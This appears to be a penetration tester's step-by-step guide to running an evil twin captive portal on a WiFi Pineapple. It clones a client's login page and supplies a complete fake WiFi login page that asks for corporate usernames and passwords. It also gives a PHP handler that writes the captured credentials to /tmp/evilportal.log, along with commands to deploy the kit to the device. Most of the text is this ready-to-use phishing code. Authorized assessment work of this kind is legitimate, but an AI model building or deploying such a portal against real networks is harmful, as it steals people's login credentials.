WiFi Pineapple | Captive Portal and Evil Twin
From WiFi Pineapple admin page
Step #1 | Install Evil Portal
Go to Modules >> Manage Modules >> Install Evil Portal
Step #2 | Create a New Portal
Go to EvilPortal >> Create New Portal
Step #3 | Create Captive portal
Clone the customer website or captive portal page
$ wget -mkEpnp https://Customer/Pages/contractorlogin.aspx
Note:
All portals are saved in: /root/portals/
on WifiPineapple system
Step #4 | Configure the Captive portal
Configure Index page
Here is a nice template that collects the user's corporate credentials and save it to Wifi pineapple.
<?php
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
$destination = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
require_once('helper.php');
?>
<!DOCTYPE html>
<html>
<head>
<title>
TARGET NAME | Open Wifi
</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" type="image/x-icon" href="https://c.s-microsoft.com/favicon.ico">
<style>
html,
body {
margin: 0;
padding: 0;
background-repeat: no-repeat;
background-attachment: fixed;
background-size: 100% 100%;
}
.rm-overflow {
overflow-x: scroll; /* Add the ability to scroll */
overflow-y: scroll; /* Add the ability to scroll */
}
/* Hide scrollbar for Chrome, Safari and Opera */
.rm-overflow::-webkit-scrollbar {
display: none;
}
/* Hide scrollbar for IE, Edge and Firefox */
.rm-overflow {
-ms-overflow-style: none; /* IE and Edge */
scrollbar-width: none; /* Firefox */
}
/* Color class */
.city {
background-color: #67767b;
color: white;
/* border: 0.5px solid black; */
/* margin: 20px; */
padding: 20px;
width: 100%;
opacity: 0.95;
}
.city-header {
background-color: #67767b;
color: white;
padding: 20px;
opacity: 0.95;
flex-shrink: 0;
}
.city-footer {
background-color: #e8e8e8;
color: white;
padding: 20px;
opacity: 0.95;
flex-shrink: 0;
}
/* CAPTCHA STARTS */
input[type=text] {
padding: 12px 20px;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
input[type=password] {
padding: 12px 20px;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
button {
background-color: #d1202f;
border: none;
color: white;
padding: 12px 30px;
text-decoration: none;
margin: 4px 2px;
cursor: pointer;
}
canvas {
/*prevent interaction with the canvas*/
pointer-events: none;
}
/* CAPTCHA ENDS */
body {
background-color: #ffffff;
}
.centered {
display: block;
margin-left: auto;
margin-right: auto;
text-align: center;
color: #094f88;
}
.centered-okay {
display: block;
margin-left: auto;
margin-right: auto;
text-align: center;
color: #008000;
}
.centered-err {
display: block;
margin-left: auto;
margin-right: auto;
text-align: center;
color: #ff0000;
}
.lds-ellipsis {
display: inline-block;
position: relative;
width: 80px;
height: 80px;
}
.lds-ellipsis div {
position: absolute;
top: 33px;
width: 13px;
height: 13px;
border-radius: 50%;
background: #f8b333;
animation-timing-function: cubic-bezier(0, 1, 1, 0);
}
.lds-ellipsis div:nth-child(1) {
left: 8px;
animation: lds-ellipsis1 0.6s infinite;
}
.lds-ellipsis div:nth-child(2) {
left: 8px;
animation: lds-ellipsis2 0.6s infinite;
}
.lds-ellipsis div:nth-child(3) {
left: 32px;
animation: lds-ellipsis2 0.6s infinite;
}
.lds-ellipsis div:nth-child(4) {
left: 56px;
animation: lds-ellipsis3 0.6s infinite;
}
@keyframes lds-ellipsis1 {
0% {
transform: scale(0);
}
100% {
transform: scale(1);
}
}
@keyframes lds-ellipsis3 {
0% {
transform: scale(1);
}
100% {
transform: scale(0);
}
}
@keyframes lds-ellipsis2 {
0% {
transform: translate(0, 0);
}
100% {
transform: translate(24px, 0);
}
}
</style>
<!-- to support promise for IE10 -->
<!-- <script src="https://cdn.polyfill.io/v2/polyfill.min.js"></script> -->
<!-- CAPTCHA STARTS -->
<script type="text/javascript">
function validateCaptcha() {
var form = document.getElementById("CaptchaForm");
var username = document.getElementById("username");
var password = document.getElementById("password");
if (username.value.includes("@") && !(password.value === "")) {
var text = document.getElementById("message");
text.innerHTML = "<h4 class='centered-okay'>Please wait while connecting your device...</h4>"
return true
} else {
var text = document.getElementById("message");
text.innerHTML = "<h4 class='centered-err'>Wrong Username or Password!</h4>"
return false
}
}
</script>
<!-- CAPTCHA ENDS -->
<script type="text/javascript">
function loadFunctions() {
}
</script>
</head>
<body onload="loadFunctions()">
<div class="city-header"></div><p></p>
<!-- Logo -->
<!-- <img src="logo.png" class="centered" width="330" height="110" alt="logo.png" /> -->
<img class='centered' width='330' height='110' alt='logo.png' src='data:image/png;base64,PNG_BASE64_ENCODED_HERE'>
<br><br>
<!-- CAPTCHA STARTS -->
<center class="rm-overflow">
<div class="city" media="(max-width: 400px)" >
<form method="POST" action="/captiveportal/index.php" id="CaptchaForm" onsubmit="validateCaptcha()">
<div style="text-align: center">
<div style="display: inline-block; text-align: left;">
<h2>5G Wifi Access Portal</h2>
<table>
<tr>
<td>SSID </td>
<td><?=getClientSSID($_SERVER['REMOTE_ADDR']);?></td>
</tr>
<tr>
<td>Hostname </td>
<td><?=getClientHostName($_SERVER['REMOTE_ADDR']);?></td>
</tr>
<tr>
<td>IP address </td>
<td><?=$_SERVER['REMOTE_ADDR'];?></td>
</tr>
<tr>
<td>MAC Address </td>
<td><?=getClientMac($_SERVER['REMOTE_ADDR']);?></td>
</tr>
</table><br/>
</div>
</div>
<input type="text" placeholder="username@TARGET.com" name="username" id="username" oninvalid="this.setCustomValidity('Please enter corporate username!')" required />
<input type="password" placeholder="PASSWORD" name="password" id="password" oninvalid="this.setCustomValidity('Please enter your password!')" required />
<input type="hidden" name="target" value="<?=$destination?>">
<p><button type="submit">Submit</button></p>
<p id="message"></p>
</form>
</div>
</center>
<!-- CAPTCHA ENDS -->
<footer style="font-size:14px;color:#67767b;position: absolute;bottom: 10px;width: 100%;text-align: center">
<strong>All Rights Reserved © 2022 TARGET.</strong>
</footer>
</body>
</html>
Configure Auth Page
In /root/portals/CustomerPortal
, edit ( MyPortal.php ) to be:
<?php namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
file_put_contents('/tmp/evilportal.log', "Username:"."{$this->request->username}\n", FILE_APPEND);
file_put_contents('/tmp/evilportal.log', "Password:"."{$this->request->password}\n", FILE_APPEND);
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}
Note:
All CSS and Javascript file that related to index.php must be uploaded to wifi pineapple in the customer path(eg. /root/portals/CustomerPortal
)
Zip the files, transfer them to wifi pineapple then unzip. You may need to install unzip command in wifi pineapple.
scp _assets.zip root@172.16.42.1:/root/portals/CustomerPortal/
Install unzip on wifi pineapple
opkg updateopkg install unzip
Unzip
unzip _assets.zip
Finally, create the log file to collect credentials on wifi pineapple
touch /tmp/evilportal.log
Resources
Last updated